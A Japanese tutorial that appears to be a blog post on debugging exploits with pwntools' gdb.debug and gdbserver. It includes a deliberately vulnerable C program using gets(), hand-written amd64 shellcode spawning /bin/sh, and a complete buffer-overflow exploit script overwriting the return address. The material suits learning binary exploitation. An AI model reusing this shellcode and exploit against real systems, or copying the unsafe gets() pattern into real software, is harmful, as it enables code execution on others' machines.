pwntoolsとgdbserverでエクスプロイトのデバッグ
書いたエクスプロイトがうまく動作しないとき、pwntoolsのgbd.debug()をつかってgdbを立ち上げてその上でエクスプロイトを動作させることで、不具合の原因を調査することができる。
以下のページにあるプログラムをエクスプロイトしてみる。
// bof.c
#include <stdio.h>
int main() {
char buf[300] = {};
setlinebuf(stdout);
printf("buf = %p\n", buf);
gets(buf);
puts(buf);
return 0;
}
標準入力によってbuf[300]にシェルコードを送り、バッファオーバーフローで戻り値アドレスをbufの先頭に変更することでシェルを奪取する。
自分の環境は以下の通り。
└──╼ $uname -a
Linux parrot-tobefilledbyoem 5.10.0-6parrot1-amd64 #1 SMP Debian 5.10.28-6parrot1 (2021-04-12) x86_64 GNU/Linux
└──╼ $gcc --version
gcc (Debian 10.2.1-6) 10.2.1 20210110
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
今回はgcc -z execstack bof.c ./bof.c で64ビットの実行ファイルとしてコンパイルした。スタック上でシェルコードを動かすので-z execstackオプションが必要。
書いたエクスプロイトは以下の通り。
from pwn import *
binary_path = "./bof"
elf = context.binary = ELF(binary_path)
# shellcode ("/bin//sh")
shellcode = asm('''
.intel_syntax noprefix
.globl _start
_start:
push 0x6e69622f
add rsp, 0xc
push 0x68732f2f
sub rsp, 0x4
mov rdi, rsp
xor rdx, rdx
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
''', arch = 'amd64')
# running
io = gdb.debug(binary_path, '''
break main
''')
io.recvuntil("buf = ")
recv = io.recvline()
buf_address = int(recv.decode().replace('\n', ''), 16)
print("buf_address:", hex(buf_address))
# making payload
payload = b''
payload += shellcode
p = 300 - len(payload)
payload += b'a' * p
payload += b'b' * 0xc
payload += pack(buf_address)
io.sendline(payload)
recv = io.recv()
io.interactive()
gdb.debugによってgdbserverを立ち上げて、エクスプロイトを送信している。そのためgdbとは別にgdbserverのインストールが必要。
エクスプロイトを実行すると別窓でgdbが開く。このようにスタックの状態を閲覧することもできるので、不具合を確認しやすくなった。
32bitプログラムをgdbserverで解析した時にエラーが発生する問題
以下サイトのように,最新のgdbserverを取ってきてソースコードをmakeしてインストールする.
https://github.com/Gallopsled/pwntools/issues/1783#issuecomment-850425171